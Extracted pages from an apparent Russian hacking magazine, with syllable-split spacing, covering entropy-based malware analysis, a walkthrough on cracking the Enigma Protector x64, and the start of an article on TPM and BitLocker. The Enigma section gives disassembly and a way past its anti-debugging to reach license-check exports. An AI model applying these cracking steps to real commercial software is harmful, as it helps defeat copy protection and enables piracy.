уро вень  энтро пии  оставшей ся  час ти  фай ла  очень  высок,  а  сек ция  кода
не  может  быть  ста тис тичес ки  про ана лизи рова на,  пос коль ку  похожа  на  слу‐ 
чай ные  зна чения.  Это  обыч но  сви детель ству ет  о  при мене нии  сжа тия  либо
обфуска ции —  типич ного  при ема,  что бы  сбить  с  тол ку  анти виру сы.  По  гра‐ 
фику  рас пре деле ния  энтро пии  мож но  на  глаз  опре делять  закоди рован ные
фраг менты фай ла.

Для прос мотра закоди рован ных областей фай ла ты можешь исполь зовать
онлайн‐ресурс    или  прог рамму  .  На  сле дующем
рисун ке  показан  при мер  отоб ражения  образца  в  PortexAnalyzer:  сле ва  —
исполня емый файл до упа ков ки или архи виро вания, спра ва — пос ле.

http://binvis.io/ PortexAnalyzer

При меры работы PortexAnalyzer

Пом нишь, недав но мы писали о  ? Он не всег да отра‐ 
баты вает  кор рек тно,  осо бен но  для  сем плов  с  низ кой  энтро пией.  Опыт ных
поль зовате лей  SSDeep  час тень ко  сму щает  сам  рас чет  схо жес ти  хешей
и  мно жес тво  лож нополо житель ных  сра баты ваний,  поэто му  Вас сил  Рус сев
раз работал  ,  который  сколь зящим  окном  рас счи тыва ет
энтро пию фай ла.

не чет ком хеше SSDeep

ал горитм  SDHash

Осо бен ность под хода — в тща тель ной филь тра ции высоко‐ и низ коэн тро‐ 
пий ных областей, а так же в селек ции для каж дой области фай ла самых «ред‐ 
ких» по энтро пии  учас тков. На осно ве оцен ки энтро пии и срав нения дан ных
по  фай лу  в  целом  выб ранные  для  срав нения  объ екты  хеширу ются  и  с
помощью филь тра Блу ма объ еди няют ся в еди ный хеш. Что такое филь тр Блу‐ 
ма?  За  матема тичес кими  фор мулиров ками  отправ ляем  тебя  в  .
Если говорить крат ко, он про веря ет при над лежность хеша нашему мно жес тву
кусоч ных  хешей  и  таким  обра зом  поз воля ет  быс тро  опре делить  при над‐ 
лежность объ екта к опре делен ному мно жес тву. В SDHash хеш (под пись) фай‐ 
ла  —  это  пос ледова тель ность  филь тров  Блу ма,  можешь  исполь зовать  его
для более прод винуто го поис ка похожих образцов.

Ви кипе дию

На  сегод няшний  день  ана лиз  энтро пии  объ ектов  исполь зует ся  мно жес‐ 
твом  при ложе ний  и  сер висов,  отно сящих ся  к  сфе ре  информа цион ной
безопас ности.  Нап ример,  такой  ана лиз  при меня ется  в  алго рит мах  машин‐ 
ного обу чения для соз дания моделей оцен ки фай ла в анти вирус ном ПО. Так‐ 
же  оцен ка  энтро пии  исполь зует ся  при  под сче те  весов  на  эта пе  вынесе ния
оцен ки вре донос ности объ екта в анти‐АРТ‐средс твах защиты, то есть в про‐ 
цес се динами чес кого ана лиза объ ектов.

При мер  при мене ния  иссле дова ния  энтро пии  на  прак тике  —  модуль
поведен ческо го ана лиза Polygon в сос таве ком плек са Group‐IB Threat Hunting
Framework.  На  рисун ке  ниже  показа на  часть  отче та  сис темы.  В  нем  содер‐ 
жится информа ция об энтро пии в раз деле про чих поведен ческих мар керов.

Часть отче та Polygon

Та ким  обра зом,  ана лиз  энтро пии  мож но  наз вать  базовой  оцен кой  тес тиру‐ 
емо го объ екта, которая поз воля ет понять, на какую сек цию или часть фай ла
сле дует  обра тить  более  прис таль ное  вни мание  при  ана лизе  образца
и понять, подоз рителен ли обра зец в целом.

mailto:mainboros777@gmail.com
mailto:nayca@mail.ru
https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D0%B0%D1%8F_%D1%8D%D0%BD%D1%82%D1%80%D0%BE%D0%BF%D0%B8%D1%8F#%D0%9E%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D0%A8%D0%B5%D0%BD%D0%BD%D0%BE%D0%BD%D1%83
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https://github.com/katjahahn/PortEx
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https://xakep.ru/2020/09/28/clear-hash/
https://github.com/sdhash/sdhash
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 АКТУАЛЬНЫХ ВЕРСИЙENIGMA X64

МВК

ВЗЛОМ

Мы  неод нократ но  пуб ликова ли 

 и не собира емся оста нав ливать ся
на дос тигну том. Одна ко мно гие прог раммы
исполь зуют  раз личные  механиз мы  анти‐ 
отладки, из‐за  которых под сту пить ся  к  ним
ста новит ся  неп росто.  Сегод ня  мы  погово‐ 
рим  о  том,  как  вскрыть  популяр ную  у  раз‐ 
работ чиков  защиту  Enigma  вер‐ 
сии 5  и  выше,  исполь зующую прод винутые
инс тру мен ты  про тиво дей ствия  ана лизу
и взло му.

раз верну‐ 
тые  статьи  по  дизас сем бли рова нию  при‐ 
ложе ний

Бы тует  рас простра нен ное  мне ние,  что  к  катего рии  кру тых,  хороших  год ных
защит отно сят ся VMProtect и Themida. В них, мол, и крип тование, и вир туаль‐ 
ные  машины,  и  анти отладка.  Все  осталь ное  —  так,  для  лохов  и  млад ших
школь ников. Нап ример, для какой‐нибудь «Эниг мы» в сети мож но най ти кучу
тутори алов и видосов с инс трук циями по взло му, вос поль зовав шись которы‐ 
ми, любой нуб может почувс тво вать себя кул хакером.

От части  утвер жде ние  спра вед ливо:  туторов,  вклю чая  видео,  в  интерне те
дей стви тель но  пол но,  а  при  желании  мож но  най ти  и  однокли ковые  тул зы
для взло ма при ложе ний. Некото рые из них даже работа ют. С неболь шой ого‐ 
вор кой — это  каса ется ста рых  вер сий  защиты,  которая была, мяг ко  говоря,
не  очень.  В  пос ледних  вер сиях  Enigma  соз датели  пос тарались  как  мож но
силь нее осложнить жизнь хакерам.

Боль шинс тво  решений  они  поза имс тво вали  у  «взрос лых»  защит  (ниже
читатель  смо жет  в  этом  убе дить ся). Одна ко,  как  извес тно,  в  этом мире  нет
ничего нового, и исполь зование извес тных решений не дела ет взлом защиты
более  прос тым  и  при ятным.  Ско рее  наобо рот.  Давай  убе дим ся  в  этом,
хорошень ко пощупав Enigma собс твен ными руками.

ЭКСПЕРИМЕНТ
Ра ди  экспе римен та  ска чаем  какую‐нибудь прог рамму  (для прос тоты — дот‐ 
нетов скую) и нат равим на нее, нап ример, Exeinfo. Пред положим, ана лиза тор
опоз нал упа ков щик как Enigma Protector x64 [v.5.0 — 7.0]. Вот и отлично, мыс‐ 
ленно  выдыха ем  мы:  не  VMProtect  и  не  Themida,  а  по  Enigma  точ но  что‐то
мож но  най ти  на  YouTube.  Лезем  в  гугл —  и  прав да,  видосов  пол но,  одна ко
мак сималь ная лома емая вер сия — 4, а по x64 нет вооб ще ничего.

Ну  что  ж,  дума ем  мы,  не  боги  гор шки  обжи гают:  не  мог ли  же  они  при‐ 
думать  что‐то  прин ципи аль но  новое?  Поп робу ем  дей ство вать  по  обра зу
и подобию, авось получит ся. И вот тут нас под жида ет неп рият ный сюр приз.

Прак тичес ки  все  «кул хакер ские»  ману алы  начина ются  с  одной  и  той  же
неиз менной  фра зы:  «заг рузите  прог рамму  в  отладчик»  или  «соз дай те  дамп
при ложе ния».  Имен но  на  этом  шаге  иссле дова теля  под сте рега ет  пер вый
ковар ный облом. В любимый все ми x64dbg прог рамма не гру зит ся вооб ще,
дам перы запущен ную соф тину тоже не жела ют дам пить, а если это и уда ется,
то  на  выходе  получа ется  совер шенно  нерабо тос пособ ный  (и  уж  и  близ ко
не дот нетов ский) кусок памяти. Даже в работа ющем при ложе нии .NET не рас‐ 
позна ется  от  сло ва  «сов сем»,  dnSpy  ее  род ной  не  приз нает  и  атта чить
не хочет. При атта чить прог рамму уда ется раз ве что в x64dbg, но при малей‐ 
шей  попыт ке  сдви нуть ся  с  точ ки  оста нова  про цесс мгно вен но  зак рыва ется.
В  общем,  налицо  все  приз наки  взрос лой  защиты  —  шиф рование  кода,
защита от дам па и отладчи ка.

При дет ся  брать ся  за  дело  осно ватель но. Для  начала  уста новим  пла гины
ScyllaHide и Scylla, что бы хоть как‐то зарабо тала отладка. Бла года ря пер вой
тул зе  прог рамма  наконец‐то  поз воля ет  заг рузить  себя  в  отладчик.  Одна ко
радость  ока зыва ется  преж девре мен ной:  пос ле  пре рыва ния  в  про цес се
никакие нас трой ки ScyllaHide не поз воля ют нам прод винуть ся даль ше, прог‐ 
рамма  зах лопыва ется  с  завид ным  упорс твом.  Scylla  при дет  на  помощь  чуть
поз же, пока же поп робу ем извлечь всю выгоду из малень кой победы, которую
мы толь ко что одер жали.

Итак,  прог рамма  заг ружена  в  отладчик  и  пошаго во  трас сиру ется.
Потихонь ку дви гаем ся, минуя нес коль ко саморас шифро выва ющих ся учас тков
кода,  и  обна ружи ваем,  что  они  —  все го  лишь  обвязка  для  огромной  упа‐ 
кован ной и зашиф рован ной сек ции, стар товая точ ка которой выг лядит так:

push         rcx 
push         rdx 
push         r8 
push         r9 
mov          r8,000B5ED8E 
call        .00007FF7`BA4D9610 
mov          r8,0 
mov          rdx,1 
mov          rcx,[rsp][000000018] 
call        .00007FF7`BA4E49A0 
mov          r8,0 
mov          rdx,1 
mov          rcx,[rsp][000000018] 
call        .00007FF7`BA13E400 
pop          r9 
pop          r8 
pop          rdx 
pop          rcx 
call        .00007FF7`BA12A210 

Вот  тут  нам  и  при годит ся  ранее  уста нов ленная  Scylla —  эту  сек цию  мож но
сдам пить в EXE‐файл. Тол ку, прав да, от это го мало: модуль нерабо тос пособ‐ 
ный. Вдо бавок это явно не наш иско мый защищен ный модуль, дот нетом там
по‐преж нему  не  пах нет,  одна ко  пах нет —  сюр приз! — Delphi.  Ока зыва ется,
Enigma написа на на дель фи! Но это вов се не упро щает нам жизнь.

Уг лубля ясь  пошаго во  в  пос ледний  ,  мы  доволь но  быс тро  вяз нем
в мешани не  безум ного  кода.  Похоже,  мы  не  силь но  прод винулись  в  нашем
иссле дова нии:  замуча ешь ся  пошаго во  переме щать ся  до  бли жай шего
осмыслен ного  мес та,  а  без болез ненно  прер вать ся  в  про цес се  выпол нения
кода анти отладчик по‐преж нему не дает.

call

Поп робу ем  зай ти  с  дру гой  сто роны.  Вни матель но  пос мотрев  на  сдам‐ 
плен ный модуль, мы обна ружи ваем, что он не такой уж и бес полез ный. У него,
вне зап но, есть экспор тиру емые сим волы:

0  .00007FF7`BABBD06E EP_RegHardwareID 
1  .00007FF7`BABBD073 EP_RegHardwareIDA 
2  .00007FF7`BABBD078 EP_RegHardwareIDW 
3  .00007FF7`BABBD07D EP_RegCheckKey 
4  .00007FF7`BABBD082 EP_RegCheckKeyA 
5  .00007FF7`BABBD087 EP_RegCheckKeyW 
6  .00007FF7`BABBD08C EP_RegSaveKey 
7  .00007FF7`BABBD091 EP_RegSaveKeyA 
8  .00007FF7`BABBD096 EP_RegSaveKeyW 
9  .00007FF7`BABBD09B EP_RegLoadKey 
10 .00007FF7`BABBD0A0 EP_RegLoadKeyA 
11 .00007FF7`BABBD0A5 EP_RegLoadKeyW 
12 .00007FF7`BABBD0AA EP_RegLoadAndCheckKey 
13 .00007FF7`BABBD0AF EP_RegCheckAndSaveKey 
14 .00007FF7`BABBD0B4 EP_RegCheckAndSaveKeyA 
15 .00007FF7`BABBD0B9 EP_RegCheckAndSaveKeyW 
16 .00007FF7`BABBD0BE EP_RegDeleteKey 
... 

Как нет рудно догадать ся,   — это Enigma Protection, а точ ки вхо да ука зыва ют
на какие‐то очень полез ные ниш тяки, содер жащи еся внут ри.

EP

Ткнув шись  под ряд  в  некото рые  из  них,  мы  обна ружим,  что  через  пару
длин ных jmp все они упи рают ся в конс трук цию сле дующе го вида:

push         005C7AC29 
jmp         .00007FF7`BA4F3F50 

Что‐то подоб ное мы уже наб людали в VMProtect. Ну конеч но: мы таки выш ли
на вир туаль ную машину!

ДИЗАССЕМБЛИРУЕМ
Ищем в рас пакован ном‐рас шифро ван ном коде начало интер пре тато ра:

push         rsp 
push         rax 
push         rcx 
push         rdx 
push         rbx 
push         rbp 
push         rsi 
push         rdi 
push         r8 
push         r9 
push         r10 
push         r11 
push         r12 
push         r13 
push         r14 
push         r15 
pushfq 
mov          dl,1 
mov          rsi,0 
lea          rdi,[00007FF7`BA5032F0] 
add          rdi,rsi 
lea          rdi,[rdi] 
mov          rcx,1 
... 

Те перь уста новим брейк‐пой нт на начало интер пре тато ра и еще раз убе дим‐ 
ся  —  да,  так  оно  и  есть,  этот  фраг мент  пери оди чес ки  вызыва ется  сре ди
необоз римых прос торов безум ного кода.

Поп робу ем извлечь из нашего откры тия мак симум поль зы. Про писы ваем
в  све жеис печен ную  точ ку  оста нова  логиро вание  —  для  начала 
и параметр на сте ке  , пос ле чего запус каем прог рамму. Она,
конеч но,  мгно вен но  зах лопыва ется,  ибо  анти отладчик  не  дрем лет,  одна ко
на  про щанье  она  подарит  нам  раз верну тый  лог  вызовов  вир туаль ной
машины:

RAX
{RAX} {[RSP]}

610 5C7C535 
143336BE190 5C7CACA 
143336BE1D0 5C7CACE 
14335219760 5C7CAC5 
630 5C7C754 
7FF8DBCE0000 5C7C76D 
143350D0000 5C7C778 
7FF8DB160000 5C7C77F 
7FF8DB17A360 5C7C770 
615FF24EC83C3 5C7C777 
7FF8DBD7C8C0 5C7C73F 
7FF8D69911B0 5C7C73F 
7FF8DBD7CD40 5C7C73F 
7FF8DBD7D020 5C7C73F 
7FF8DBD7CBE0 5C7C73F 
7FF8DBD7CC20 5C7C73F 
7FF8DBD7FF90 5C7C73F 
... 
143352119F0 5C7C549 
143336BE928 5C7C544 
F12A436D40745745 5C7C55E 
15 5C7C56D 
63BFFFD10 5C7C5AE 
0 5C7C5BB 
12 5C7C5BC 
143352118F0 5C7C549 
14335211910 5C7C549 
14335211930 5C7C549 
14335211950 5C7C549 
14335211970 5C7C549 
14335211990 5C7C549 
143352119B0 5C7C549 
143352119D0 5C7C549 
143336BE968 5C7C544 
704562405E78BE75 5C7C55E 
8 5C7C56D 

Бе зум ный код потихонь ку начина ет обре тать осмыслен ность: в час тнос ти, мы
наш ли  кон крет ное  мес то,  пос ле  которо го  в  прог рамме  сра баты вает  анти‐ 
отладчик.  Ста вим  усло вие  для  бря ка    и  наб‐ 
люда ем за поведе нием прог раммы сра зу пос ле дан ного вызова вир туаль ной
машины. Ока зыва ется, вызов — это часть сле дующей конс трук ции:

(RAX==8  [RSP]==0x5C7C56D)

mov          rcx,[00007FF7`BA49D9F0] 
mov          r8d,7 
call        .00007FF7`BA17C750      // вызов виртуальной машины 
mov          rcx,[rbp][‐018] 
test         rcx,rcx 
jnz         .00007FF7`BA167AA2 
lea          rcx,[00007FF7`BA49B470] 
call        .00007FF7`BA1270C0     // GetModuleHandleA (ntdll.dll) 
mov          rcx,rax 
mov          rdx,rbx 
call        .00007FF7`BA127160     // GetProcAddress   (NtSetInforma‐
tionThread) 
mov          [rbp][‐8],rax 
cmp          q,[rbp][‐8],0 
jz          .00007FF7`BA167ADD 
call        .00007FF7`BA1278A0 
mov          rcx,rax 
mov          r9d,0 
mov          r8,0 
mov          edx,000000011 
call         q,[rbp][‐8] 
nop 
mov          rcx,rbp 
call        .00007FF7`BA1679D0 
... 

Со ответс твен но,  закоро тив  переход  ,  мож но  спо‐ 
кой но дви гать ся даль ше (в смыс ле, до сле дующей подоб ной ловуш ки!). Что бы
не  отни мать  у  читате ля  слиш ком  мно го  вре мени,  кос немся  прин ципа  дей‐ 
ствия вир туаль ной машины,  точ ку вхо да в интер пре татор которой мы толь ко
что наш ли.

jz  .00007FF7`BA167ADD

ПРИНЦИП ДЕЙСТВИЯ
Для  начала  отме чу,  что  машина  эта  мутиру ющая,  то  есть  код  фор миру ется
слу чай ным  обра зом,  все  адре са  и  ссыл ки  на  двух  раз ных  защищен ных
модулях будут отли чать ся. То есть ловить ана логич ные вызовы по сме щению
или  мас ке  доволь но  неп рият но,  хотя  некото рые  бло ки  кода  (нап ример,
вышеп риведен ные) сох раня ются и могут быть най дены по мас ке.

Вспо миная  VMProtect,  пред положим,  что  вол шебное  чис ло  на  сте ке
при  вхо де  в  интер пре татор  как‐то  свя зано  с  адре сом  начала  бло ка шитого
кода,  выпол няемо го  интер пре тато ром  при  вызове.  Вдум чиво  трас сируя
интер пре татор, натыка емся на такой код:

mov          [rbp][‐8],ecx            ; волшебное число на стеке при 
входе в интерпретатор 
mov          [rbp][‐010],rdx 
mov          edx,[00007FF7`BA5032B0]  ; волшебное число, с которым 
ксорится эта цифра для дополнительного мутирования кода 
mov          eax,[rbp][‐8] 
xor          eax,edx                  ; вот здесь это и происходит 
mov          [rbp][‐020],eax 
mov          rax,[00007FF7`BA5032C0]  ; относительная база шитого 
кода виртуальной машины — смещение начала шитого кода относительно 
начала модуля 
mov          edx,[rbp][‐020] 
mov          edx,[rax][rdx]*4 
mov          rax,[00007FF7`BA5032B8]  ; абсолютная база — адрес 
начала модуля 
lea          rax,[rdx][rax] 
; итого, адрес первой команды шитого кода виртуальной машины при 
входе в интерпретатор = [00007FF7`BA5032B8]+ [00007FF7`BA5032C0]+ 
(ecx xor [00007FF7`BA5032B0])*4 шитый код всегда выровнен на двойное 
слово и смещение задается именно в этих двойных словах 
mov          [rbp][‐000000088],rax 
mov          rax,[rbp][‐000000088] 
cmp          d,[rax],000000231        ; а вот и выборка первой 
команды 
jnz         .00007FF7`BA4ECB49 
... 

Пре дос тавляю читате лю самому раз бирать ся с сис темой команд вир туаль ной
машины,  ибо  она  запута на,  бес смыс ленна  и  бес пощад на.  При  этом  необя‐ 
затель но ее пол ное пре пари рова ние — как показал выше опи сан ный при мер
с анти отладчи ком, мес тами дос таточ но знать вызовы отдель ных бло ков кода,
на  которые,  кста ти,  ука зыва ют  тор чащие  из  экспор тиру емых  фун кций  уши.
Для осо бо любопыт ных отме чу, что попав шая в конец выше опи сан ного фраг‐ 
мента коман да с опко дом   — это кос венный вызов про цес сорно го (не
вир туаль ного) кода по задан ному отно ситель ному сме щению.

0x231

Ос тановим ся  под робнее  на  том,  как  фор миру ется  ука зан ное  сме‐ 
щение, — это поможет нам понять прин цип вза имо дей ствия отдель ных бло‐ 
ков  шитого  кода  друг  с  дру гом.  Рас смот рим  пос ледова тель ность  выхода
из интер пре тато ра:

mov          rax,[rbp][‐000000088]    ; текущий указатель команд 
виртуальной машины 
mov          rdx,[rax][020]           ; относительный адрес машинного 
(не виртуального) кода, на который будет выполнен переход по выходу 
из интерпретатора внутри виртуальной команды завершения блока 
mov          rax,[00007FF7`BA5032D0]  ; абсолютная база — адрес 
начала модуля 
lea          rax,[rdx][rax]           ; адрес машинного кода = 
[00007FF7`BA5032D0] + относительный адрес внутри виртуальной команды 
mov          [rbp][‐018],rax 
jmps        .00007FF7`BA4F3E04 
jmp         .00007FF7`BA4ECAB8 
mov          rax,[rbp][‐018]          ; по выходу из интерпретатора 
RAX=адрес следующей команды для RET 
mov          rbx,[rbp][‐0000000B8] 
lea          rsp,[rbp][0] 
pop          rbp 
retn 

Мы  видим,  что  из  вир туаль ного  кода  могут  выпол нять ся  отно ситель ные
вызовы  непос редс твен но  машин ного  кода  (коман да  ).  Кро ме  того,
по  воз вра ту  из  бло ка  вир туаль ного  кода  (ну,  нап ример,  коман да  с  опко дом

) про исхо дит воз врат на задан ный блок машин ного кода, выпол няющий
кон крет ные дей ствия. Таким обра зом фраг менты машин ного и вир туаль ного
кода выпол няют ся в опре делен ной вет вящей ся и вло жен ной пос ледова тель‐ 
нос ти, дос тупной для иссле дова ния пыт ливому уму при наличии дос таточ ного
количес тва сво бод ного вре мени и мотива ции.

0x631

0x60

ВЫВОД
Нап рашива ется вывод: обновлен ная и  усо вер шенс тво ван ная вер сия Enigma
Protector  x64  спо соб на  дос тавить  изрядную  голов ную  боль  иссле дова телю,
одна ко  на  любой  хит рый  болт  всег да  оты щет ся  гай ка  с  левой  резь бой.
Заимс тво вание методов анти отладки у широко извес тных и популяр ных про‐ 
тек торов  поз воля ет  находить  в  защите  скры тые  лазей ки,  дей ствуя  по  ана‐ 
логии.

В  ито ге  мож но  сме ло  утвер ждать:  уни вер саль ных  защит  не  сущес тву ет.
Взло мать  мож но  все  что  угод но,  было  бы  сво бод ное  вре мя  и,  безус ловно,
желание.

https://xakep.ru/author/yurembo/
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ВЗЛОМ

Мо дули TPM час то исполь зуют ся для шиф‐ 
рования дис ков  с  помощью BitLocker  даже
без  ведома  поль зовате ля.  Сис тема  заг‐ 
ружа ется  и  зашиф рован ный  том  раз бло‐ 
киру ется  нас толь ко  проз рачно,  что  поль‐ 
зователь  может  и  не  подоз ревать,  что
накопи тель  в  его  устрой стве  зашиф рован.
Рас шифро вать  такой  диск  мож но  лишь
с  исполь зовани ем  клю ча  вос ста нов ления
или… или взло мав чип TPM, в котором хра‐ 
нит ся ключ шиф рования.

INFO

Статья  осно вана  на  иссле дова нии  Андрея
Малыше ва,  руково дите ля  евро пей ско го  фили ала
«Элкомсофт».

ЧТО ТАКОЕ TPM И ПОЧЕМУ ОН МЕШАЕТ РАСШИФРОВАТЬ ДИСК
Trusted  Platform Module  (TPM) —  тех нология  безопас ности,  пред став ленная
в виде допол нитель ного чипа, рас паян ного или уста нов ленно го на материн‐ 
ской  пла те  компь юте ра.  Нес мотря  на  то  что  офи циаль но  устрой ства  с  TPM
в Рос сию не пос тавля ются, так как содер жат несер тифици рован ные средс тва
шиф рования,  тех нология  при сутс тву ет  в  боль шинс тве  ноут буков.  Чип  TPM
либо  рас паян  на  материн ской  пла те  (но  не  акти виро ван  в  BIOS),  либо,  что
слу чает ся  гораз до  чаще,  при сутс тву ет  в  «вир туаль ном»  виде  бла года ря
исполь зованию плат формы Intel PTT (Intel Platform Trust Technology).

Для  поль зовате ля  и  опе раци онной  сис темы  прак тичес кой  раз ницы  меж ду
эти ми под ходами нет, одна ко с точ ки зре ния уяз вимос тей и их экс плу ата ции
раз ница сущес тву ет.

Ес ли рас смат ривать модуль TPM в качес тве аппа рат ного «довес ка», то он
сос тоит  из  крип тогра фичес кого  про цес сора  и  встро енной  памяти  неболь‐ 
шого  объ ема.  При  этом  крип тогра фичес кий  соп роцес сор  не  исполь зует ся
для шиф рования дан ных — как, нап ример, это сде лала Apple с чипом T2.

В рам ках модели безопас ности TPM основная фун кция чипа зак люча ется
в  безопас ном  хра нении  и  генера ции  крип тогра фичес ких  клю чей,  а  так же
аппа рат ном  кон тро ле  за  легитим ностью  их  исполь зования  исклю читель но
доверен ными аген тами. В типич ной кон фигура ции в роли доверен ного аген та
выс тупа ет  опе раци онная  сис тема Windows,  при чем  не  любая,  а  имен но  та,
в которой был сге нери рован кон крет ный крип тогра фичес кий ключ.

Ра зуме ется,  как  самой  опе раци онной  сис теме,  так  и  ее  ком понен там
и  при ложе ниям  дос тупны  интерфей сы  для  работы  с  TPM  и  клю чами  шиф‐ 
рования — что тем не менее не озна чает пол ной бес кон троль нос ти.

По чему одни дис ки,  зашиф рован ные BitLocker, мож но  взло мать методом
перебо ра,  в  то  вре мя  как  дру гие,  точ но  такие  же,  нель зя?  Меша ет  то,  что
пароль в таких дис ках не исполь зует ся вов се, — переби рать‐то, собс твен но,
нечего. Ключ шиф рования хра нит ся в аппа рат ном модуле TPM, и имен но этот
модуль будет решать, выдать ключ по зап росу, отка зать в дос тупе или вов се
заб локиро вать  чип,  зас тавив рас шифро вывать  кон тей нер дру гим спо собом.
(В скоб ках замечу,  что «дру гой спо соб» — это резер вный ключ,  так называ‐ 
емый  ключ  вос ста нов ления  дос тупа,  он  всег да  сох раня ется  при  соз дании
тома или на дис ке, или в обла ке Microsoft, или в Active Directory. Зашиф рован‐ 
ный  этим  клю чом  ключ  шиф рования  дис ка  так же  сох раня ется  в  заголов ке
тома BitLocker.)

Ес ли ты стал кивал ся с экра ном наподо бие того, который при водит ся ниже,
ты пой мешь, о чем идет речь.

INFO

Ес ли хочешь — можешь почитать, 
. Я же про дол жу рас сказ

о модулях TPM.

где взять ключ
вос ста нов ления дос тупа

АРХИТЕКТУРА ЗАЩИТЫ
С  точ ки  зре ния  поль зовате ля,  защита,  которую  обес печива ет  модуль  TPM,
не  толь ко  совер шенно  проз рачна,  но  и  абсо лют но  незамет на.  Я  мно го  раз
слы шал о слу чаях, ког да вла делец устрой ства утвер ждал, что никако го шиф‐ 
рования  нет,  —  при  этом  сис темный  раз дел  был  зашиф рован  BitLocker.
И  если  порой  в  утвер жде ниях  поль зовате лей  мож но  было  усом нить ся,  то
в  осталь ных  слу чаях  их  сло ва  подоз рений  не  вызыва ли.  Как  пра вило,  речь
идет о фун кции шиф рования устрой ств BitLocker Device Encryption, опи сан ной
в статье «

». Если не вда вать ся в детали, Windows  (незави симо от редак ции —
фун кция  под держи вает ся  даже  в  Windows  10  Home)  авто мати чес ки  зашиф‐ 
рует сис темный раз дел в фоновом режиме при выпол нении нес коль ких усло‐ 
вий:

Об щие све дения о фун кции шиф рования устрой ств BitLocker в Win‐
dows 10

1. В устрой стве при сутс тву ет и акти виро ван чип TPM или тех нология Intel PTT.
2. Ус трой ство под держи вает Modern Standby.
3. Поль зователь с пра вами адми нис тра тора вошел в сис тему через учет ную
запись  Microsoft  Account  или  исполь зовал  для  вхо да  учет ную  запись
домена.

4. Сис тема авто мати чес ки соз даст ключ вос ста нов ления BitLocker и заг рузит
его в Microsoft Account поль зовате ля или Active Directory.

В ран них сбор ках Windows допол нитель но при сутс тво вало тре бова ние, что бы
опе ратив ная память была рас паян ной, а в качес тве сис темно го исполь зовал‐ 
ся  твер дотель ный  накопи тель,  одна ко  в  све жих  вер сиях  плат формен ной
докумен тации упо мина ний это го я не нашел.

Итак,  ты  вошел  в  сис тему  с  пра вами  адми нис тра тора,  исполь зовав  учет ную
запись Microsoft Account. Сис темный диск был зашиф рован, но ты это го даже
не заметил. Через какое‐то вре мя ты перезаг рузил сис тему. Изме нилось ли
что‐нибудь  в  про цес се  заг рузки?  С  точ ки  зре ния  поль зовате ля  —  ров ным
сче том ничего: компь ютер заг рузил ся, Windows вывела зап рос пароля. К это‐ 
му  момен ту  зашиф рован ный  BitLocker  диск  уже  раз бло киро ван,  но  ты  даже
не при касал ся к компь юте ру. С какой сто роны   называ ется защитой?это

А вот с какой. При про екти рова нии архи тек туры защиты раз работ чики Win‐
dows  исполь зовали  модель  угроз,  приз ванную  пре дот вра тить  сле дующие
события:
1. Вход  в  опе раци онную  сис тему  в  обход  стан дар тных  механиз мов  аутен‐ 
тифика ции.

2. Из вле чение дис ка и его перенос на дру гой компь ютер с целью пос леду‐ 
ющей рас шифров ки.

3. Сня тие обра за дис ка и его рас шифров ка.
4. Заг рузка компь юте ра с внеш него накопи теля с целью рас шифров ки сис‐ 
темно го раз дела.

5. Из менение  кон фигура ции  заг рузки  с  целью  рас шифров ки  сис темно го
раз дела.

Та ким обра зом, если  тебе известен пароль вхо да  в  сис тему —  ты не испы‐ 
таешь  никаких  неудобств  от  того,  что  диск  зашиф рован.  А  вот  если  пароля
у тебя нет, то тебе не удас тся даже запус тить перебор: база дан ных SAM хра‐ 
нит ся на зашиф рован ном дис ке, и дос тупа к ней у тебя не будет до тех пор,
пока ты не спра вишь ся с шиф ровани ем. Для парано иков дос тупны вари анты
уси лен ной  защиты:  нап ример,  на  сис темный  раз дел  мож но  допол нитель но
уста новить  PIN‐код,  сох ранить  ключ  на  USB‐накопи теле  или  исполь зовать
сра зу  оба  спо соба.  В  раз деле,  пос вящен ном  про тиво дей ствию  ата кам,
как раз и упо мина ется этот спо соб.

КАК УСТРОЕНА ЗАЩИТА
В BitLocker исполь зует ся сим метрич ное шиф рование дис ка. По умол чанию —
алго ритм AES с клю чом дли ной 128 бит. В све жих сбор ках Windows 10 при‐ 
меня ется  режим  XTS;  более  ста рые  вер сии  ОС  и  пер вый  релиз  Windows
10 исполь зуют режим CBC.

Как имен но выпол няет ся шиф рование: средс тва ми цен траль ного про цес‐ 
сора  (с  исполь зовани ем  команд  AES‐NI)  или  кон трол лера  дис ка, —  воп рос
слож ный.  До  недав него  вре мени Windows  отда вала  пред почте ние механиз‐ 
мам  шиф рования,  встро енным  в  кон трол лер  дис ка  или  SSD,  одна ко  обна‐ 
ружен ная иссле дова теля ми в целом ряде моделей уяз вимость в реали зации
подоб ных  механиз мов  зас тавила  Microsoft  отка зать ся  от  этой  прак тики
и  реали зовать  шиф рование  силами  цен траль ного  про цес сора.  Впро чем,
это  каса ется  толь ко  вновь  соз дава емых  томов;  уже  зашиф рован ные  дис ки
будут  про дол жать  исполь зовать  тот  механизм,  который  был  исполь зован
при их соз дании.

С  нашей  точ ки  зре ния,  оба  механиз ма  экви вален тны.  Для  рас шифров ки
дис ка  в  любом  слу чае  пот ребу ется  мас тер‐ключ,  который  мож но  получить
одним из нес коль ких спо собов:
1. Рас шифро вать  паролем,  если  раз дел  зашиф рован  имен но  таким  обра‐ 
зом.

2. Рас шифро вать клю чом вос ста нов ления (Recovery Key).
3. Из влечь непос редс твен но из модуля TPM.

О  пароль ных  ата ках  я  писал  уже  дос таточ но;  извле чение  клю ча  вос ста нов‐ 
ления  —  инте рес ная  тема,  зас лужива ющая  отдель ной  статьи.  Сей час  нас
инте ресу ет  исклю читель но  тре тий  вари ант  —  извле чение  клю ча  из  модуля
TPM.

ЗАГРУЗКА
Мо дуль TPM или тех нология Intel PTT исполь зует ся в том чис ле для аппа рат‐ 
ного  кон тро ля  «доверен ной заг рузки»  (Trusted boot). Цель  «доверен ной заг‐ 
рузки» — убе дить ся, что заг ружена имен но та опе раци онная сис тема и имен‐ 
но  в  той  кон фигура ции,  которая  исполь зовалась  при  соз дании  клю чей.
Для это го при меня ется тех нология, напоми нающая блок чейн. Стро ится сво‐ 
еоб разная «цепоч ка доверия» — пос ледова тель ность бло ков с информа цией
об  эта пах  заг рузки,  выс тро енная  в  хро ноло гичес ком  поряд ке.  Так  же  как  и
в  блок чей не,  информа цию  в  цепоч ке  нель зя  изме нить  —  толь ко  добавить.
